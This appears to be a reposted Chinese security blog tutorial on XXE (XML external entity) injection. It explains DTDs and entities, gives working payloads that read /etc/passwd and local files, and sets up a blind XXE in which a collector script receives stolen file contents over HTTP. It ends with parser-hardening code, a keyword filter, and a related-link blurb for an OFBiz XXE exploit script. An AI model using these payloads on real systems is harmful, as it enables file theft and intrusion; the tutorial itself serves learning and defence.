浅谈XXE漏洞攻击与防御

最新推荐文章于 2024-03-24 20:49:45 发布
最新推荐文章于 2024-03-24 20:49:45 发布
阅读量737 收藏 3
点赞数 1
分类专栏： 安全
原文链接：https://thief.one/2017/06/20/1/
版权

之前在参加一场CTF竞赛中遇到了xxe漏洞，由于当时并没有研究过此漏洞，解题毫无头绪。为了弥补web安全防御知识以及减少漏洞利用短板，我翻阅了一些关于xxe漏洞的资料，学习后在此总结分享。

 

XML基础

在介绍xxe漏洞前，先学习温顾一下XML的基础知识。XML被设计为传输和存储数据，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。


 

 

XML文档结构

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

 
 

<!--XML申明-->

<?xml version="1.0"?>

<!--文档类型定义-->

<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->

<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->

<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->

<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->

<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->

<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->

]]]>

<!--文档元素-->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

 

由于xxe漏洞与DTD文档相关，因此重点介绍DTD的概念。

DTD

文档类型定义（DTD）可定义合法的XML文档构建模块，它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中（内部引用），也可作为一个外部引用。
内部声明DTD:

 

1

 
 

<!DOCTYPE 根元素 [元素声明]>

 

引用外部DTD:

 

1

 
 

<!DOCTYPE 根元素 SYSTEM "文件名">

 

DTD文档中有很多重要的关键字如下：

  • DOCTYPE（DTD的声明）
  • ENTITY（实体的声明）
  • SYSTEM、PUBLIC（外部资源申请）

实体

实体可以理解为变量，其必须在DTD中定义申明，可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种：

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

 

实体根据引用方式，还可分为内部实体与外部实体，看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities

实体类别介绍

参数实体用%实体名称申明，引用时也用%实体名称;其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在DTD中申明，DTD中引用；其余实体只能在DTD中申明，可在xml文档中引用。

内部实体：

 

1

 
 

<!ENTITY 实体名称 "实体的值">

 

外部实体:

 

1

 
 

<!ENTITY 实体名称 SYSTEM "URI">

 

参数实体：

 

1

2

3

 
 

<!ENTITY % 实体名称 "实体的值">

或者

<!ENTITY % 实体名称 SYSTEM "URI">

 

实例演示：除参数实体外实体+内部实体

 

1

2

3

4

5

6

 
 

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE a [

<!ENTITY name "nMask">]>

<foo>

<value>&name;</value>

</foo>

 

实例演示：参数实体+外部实体

 

1

2

3

4

5

 
 

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE a [

<!ENTITY % name SYSTEM "file:///etc/passwd">

%name;

]>

 

注意：%name（参数实体）是在DTD中被引用的，而&name（其余实体）是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞，那么重点看下能引用哪些类型的外部实体。

外部实体

外部实体即在DTD中使用

 

1

 
 

<!ENTITY 实体名称 SYSTEM "URI">

 

语法引用外部的实体，而非内部实体，那么URL中能写哪些类型的外部实体呢？
主要的有file、http、https、ftp等等，当然不同的程序支持的不一样：

实例演示：

 

1

2

3

4

5

6

 
 

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE a [

<!ENTITY content SYSTEM "file:///etc/passwd">]>

<foo>

<value>&content;</value>

</foo>

 

XXE漏洞

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。


 

 

xxe漏洞检测

第一步检测XML是否会被成功解析：

 

1

2

3

4

 
 

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY [

<!ENTITY name "my name is nMask">]>

<root>&name;</root>

 

如果页面输出了my name is nMask，说明xml文件可以被解析。
2.pnguploading.4e448015.gif转存失败重新上传取消

第二步检测服务器是否支持DTD引用外部实体：

 

1

2

3

4

5

 
 

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY % name SYSTEM "http://localhost/index.html">

%name;

]>

 

可通过查看自己服务器上的日志来判断，看目标服务器是否向你的服务器发了一条请求test.xml的请求。

如果支持引用外部实体，那么很有可能是存在xxe漏洞的。

xxe漏洞利用

xxe漏洞的危害有很多，比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等，这里就读取任意文件的利用方式进行测试。

读取任意文件

由于我是在windows上做的测试，因此让其读取c盘下的test.txt文件内容。

如果是linux下，可以读取/etc/passwd等目录下敏感数据。

以上任意文件读取能够成功，除了DTD可有引用外部实体外，还取决于有输出信息，即有回显。那么如果程序没有回显的情况下，该怎么读取文件内容呢？需要使用blind xxe漏洞去利用。

blind xxe漏洞

对于传统的XXE来说，要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

创建test.php写入以下内容：

 

1

2

3

 
 

<?php

file_put_contents("test.txt", $_GET['file']) ;

?>

 

创建index.php写入以下内容：

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

 
 

<?php

$xml=<<<EOF

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///C:/test.txt">

<!ENTITY % remote SYSTEM "http://localhost/test.xml">

%remote;

%all;

%send;

]>

EOF;

$data = simplexml_load_string($xml) ;

echo "<pre>" ;

print_r($data) ;

?>

 

创建test.xml并写入以下内容：

 

1

2

 
 

[html] view plain copy

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

 

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容，发送给攻击者服务器上的test.php，然后把读取的数据保存到本地的test.txt中。

注：xxe的利用姿势以及绕过防御姿势有很多，这里不再一一介绍啦

xxe漏洞修复与防御

使用开发语言提供的禁用外部实体的方法

PHP：

 

1

 
 

libxml_disable_entity_loader(true);

 

JAVA:

 

1

2

 
 

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

 

Python：

 

1

2

 
 

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

过滤用户提交的XML数据

过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。

参考文档

https://security.tencent.com/index.php/blog/msg/69
http://blog.csdn.net/u011721501/article/details/43775691
https://b1ngz.github.io/XXE-learning-note/
http://bobao.360.cn/learning/detail/3841.html

bingguang1993
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
java8看不到源码-Apache-OFBiz-XXE:ApacheOFBiz<16.11.04的XXE注入（文件泄露）漏洞利用
06-04
java8 看不到源码阿帕奇 OFBiz XXE Apache OFBiz < 16.11.04 的 XXE 注入（文件泄露）漏洞利用 信息 16.11.04 版本之前的 Apache OFBiz 包含两个不同的 XXE 注入漏洞。 每个漏洞的公开披露可以在下面找到： [1] [2] 此漏洞利用针对链接 1 中披露的漏洞。虽然此漏洞未分配 CVE（根本原因在于过时的库），但它比链接 2 中披露的漏洞 (CVE-2018-8033) 更容易利用，后者需要托管一个外部 DTD，易受攻击的服务器必须在每个请求中引用该 DTD。 用法 显示单个文件 $ python exploit.py -u https://localhost:8443 -f /etc/passwd 爬取目录 $ python exploit.py -u https://localhost:8443 -c /home/bob [*] DIR: /home/bob [*] DIR: /home/bob/docs [*] FILE: /home/bob/docs/proposal.docx [*] DIR: /home/bob/
XXE是什么？XXE漏洞原理及案例讲解（从0到1完全掌握XXE）
白帽黑客八哥的博客
12-14 1815
XXE（XML外部实体注入）是一种针对应用程序处理XML数据的方式的攻击。XML文档可以定义实体，它们是存储文档中其他地方重复使用的数据的方式。外部实体是一种特殊类型的实体，它们的内容被定义在XML文档外部。XXE漏洞发生在当应用程序解析含有外部实体引用的XML文档时，没有正确地限制或禁止这些外部实体的使用。XXE是一种严重的安全漏洞，它的存在可能导致严重的安全风险。开发人员和安全专家必须了解此类漏洞的工作原理，确保在处理XML数据时采取适当的安全措施，以保护应用程序和数据的安全。
XXE(xml外部实体攻击)
HoYim
04-11 4280
1、概念 XXE（XML External Entity）是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析器处理时，就会发生这种攻击。这种攻击通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 （简单来说，XXE就是XML外部实体注入。当应用程序允许引用外部实体时，通过构...
网络安全课第五节 XXE 漏洞的检测与防御
fegus的博客
07-11 1442
上一讲我们介绍了 SSRF 漏洞，一种专门针对服务端的请求伪造攻击，常被用于攻击内网。在里面我介绍了 Burp Collaborator 用于专门测试无回显漏洞的功能，在本讲的 XXE 漏洞测试中，我们依然可以使用，不知道你是否还记得怎么使用？下面，我们就开始今天的课程，一场关于 XML 外部实体注入（XXE）漏洞的攻防之路。XXE（XML External Entity，XML 外部实体注入）正是当允许引用外部实体时，通过构造恶意内容，导致读取任意文件、执行系统命令、内网探测与攻击等危害的一类漏洞。PHP
【XXE漏洞安全-全网最详细讲解】
LCW991207的博客
08-04 1015
XXE（XML External Entity）漏洞是一种安全漏洞，出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作，如读取本地文件、发起远程网络请求或执行任意命令。XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。攻击者可以通过构造恶意的XML输入，将外部实体（external entity）引用进来，然后利用这些实体来获取敏感信息或进行其他攻击。
xxe漏洞原理及防御
AoaNgzh的博客
05-06 620
在解析 XML 文档时，如果遇到了一个引用了外部实体的节点，则解析器会去解析这个外部实体，并将其内容替换为实体引用的内容。当解析器解析到这个节点时，就会去解析实体，并将实体的内容替换为节点的内容，最终导致应用程序读取了 /etc/passwd 文件的内容。需要注意的是，以上措施只是一些常见的防范措施，您需要根据具体情况设计和实现适当的防范措施，以保护您的应用程序免受 XXE 漏洞的威胁。采用安全的 XML 解析器：选择采用安全可靠的 XML 解析器，避免使用老旧的解析器或未经安全验证的解析器。
xxe漏洞的利用与防御
qq_61714717的博客
12-13 418
xxe漏洞
XXE漏洞原理及防御方式。
dreamthe的博客
11-16 2838
写这篇文章目的就是想认真理理XEE这个漏洞，因为在学习过程中，听过老师的一些课，看过很多文章解释，我觉得讲的都是很官方话或者专业用语，对于初学者理解很难，可能我理解能力不够哈，嘻嘻。以下内容仅仅是我个人理解，以及我个人的比喻，比喻可以让你更好理解这个东西，这是我学习的一个方法，可是使的抽象的东西变得比较具体一些。 xml简单了解 XXE这个漏洞的理解，首先我们了解xml文档，因为该漏洞就是由xml文档引起的 XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用.
XXE漏洞及防御
2301_76717406的博客
03-24 901
&xxe;
XXE漏洞原理利用、攻击防御手段有哪些
白帽黑客鹏哥的博客
12-14 1143
XXE，全称是XML外部实体注入（XML External Entity Injection），是一种针对应用程序处理XML数据的安全漏洞。这种漏洞允许攻击者对正在解析XML数据的应用程序进行攻击，可能导致未授权的数据访问、服务拒绝攻击，甚至在某些情况下执行远程代码。
XXE漏洞详解【内含vulnhub靶场XXE Lab:1详解】
07-30
内含xxe漏洞原理，以及该漏洞的多种利用方式，同时根据八个具体案例详细描述漏洞的利用方式。 【想要搭建vulnhub内靶场可关注博主，然后私聊我哦】 同时内含vulnhub中xxe lab:1靶场的过关记录 渗透思路： 由于网站...
5、XXE漏洞pdf资料
10-15
5、XXE漏洞
未知攻焉知防——XXE漏洞攻防.pdf
09-18
未知攻焉知防——XXE漏洞攻防 自动化 应急响应 云安全 网络信息安全 安全威胁
105-web漏洞挖掘之XXE漏洞1
08-03
1. 示例中是一般实体引用（即“&[name] 2. 示例中若使用FILE等其他协议，不一定是发起网络请求（源代码中定义的方法名 3. 不同的编程语言和XML解
欧母龙PLC例程源码陶瓷厂用程序及图纸
04-22
欧母龙PLC例程源码陶瓷厂用程序及图纸提取方式是百度网盘分享地址
node-v19.6.1-darwin-arm64.tar.xz
最新发布
04-22
Node.js，简称Node，是一个开源且跨平台的JavaScript运行时环境，它允许在浏览器外运行JavaScript代码。Node.js于2009年由Ryan Dahl创立，旨在创建高性能的Web服务器和网络应用程序。它基于Google Chrome的V8 JavaScript引擎，可以在Windows、Linux、Unix、Mac OS X等操作系统上运行。 Node.js的特点之一是事件驱动和非阻塞I/O模型，这使得它非常适合处理大量并发连接，从而在构建实时应用程序如在线游戏、聊天应用以及实时通讯服务时表现卓越。此外，Node.js使用了模块化的架构，通过npm（Node package manager，Node包管理器）,社区成员可以共享和复用代码，极大地促进了Node.js生态系统的发展和扩张。 Node.js不仅用于服务器端开发。随着技术的发展，它也被用于构建工具链、开发桌面应用程序、物联网设备等。Node.js能够处理文件系统、操作数据库、处理网络请求等，因此，开发者可以用JavaScript编写全栈应用程序，这一点大大提高了开发效率和便捷性。 在实践中，许多大型企业和组织已经采用Node.js作为其Web应用程序的开发平台，如Netflix、PayPal和Walmart等。它们利用Node.js提高了应用性能，简化了开发流程，并且能更快地响应市场需求。
集比赛直播、新闻资讯、数据查询为一体的APP，支持Android和iOS双平台.zip
04-22
NBA Player是由React Native创作的集比赛直播、新闻资讯、数据查询为一体的APP，支持Android和iOS双平台
那年的毕业设计.zip
04-22
那年的毕业设计
xxe漏洞原理及防御方式
05-25
XXE（XML External Entity）漏洞是一种常见的Web应用程序安全漏洞，攻击者利用这种漏洞可以读取本地文件、发起内部网络攻击等。XXE漏洞的原理是通过在XML文档中插入恶意实体来触发解析器加载恶意实体，从而发起攻击...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值